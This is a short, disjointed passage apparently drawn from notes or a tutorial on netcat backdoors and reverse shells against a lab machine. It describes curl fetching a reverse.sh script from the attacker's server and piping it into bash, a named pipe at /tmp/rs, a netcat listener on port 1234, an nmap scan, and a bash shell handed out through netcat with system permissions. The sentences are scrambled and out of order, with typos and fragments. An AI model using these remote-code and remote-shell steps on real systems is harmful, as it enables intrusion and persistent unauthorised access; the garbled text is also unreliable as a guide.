Saying that it’s unencrypted so often people can see what you’re sending and reviving which may cause issues when IDS suddenly sees shells flying across it’s network. This way, CURL will fetch reverse.sh file from our system at port 8000 from our Python3 rver, pipe the content of reverse.sh into bash which will then be executed by that bash.

Then on the server node, we’ll first create a named pipe: mkfifo /tmp/rs. Let’s create a netcat process that listens on port 1234 on the client node: nc -lv 1234 Listening on 0.0.0.0 1234. Uname -a => Linux slax 2.6.16 We now have a backdoor that will be accessible as long as the startup script is running. For a reverse shell to work, we’ll need a listener on the client. Shells and Reverse Shells Netcat Shell To use netcat as a backdoor we need to have a way to direct all communication through netcat into a shell or command prompt Nmap scan against the Hackerdemia => nmap 192.168.1.123 The port we will look at is port 1337 When a connection is made, netcat will execute the bash shell, allowing us to interact with the system Permissions are transferred whenever a process is launched the bash shell will inherit the same permissions of whoever started the netcat process => system itself.
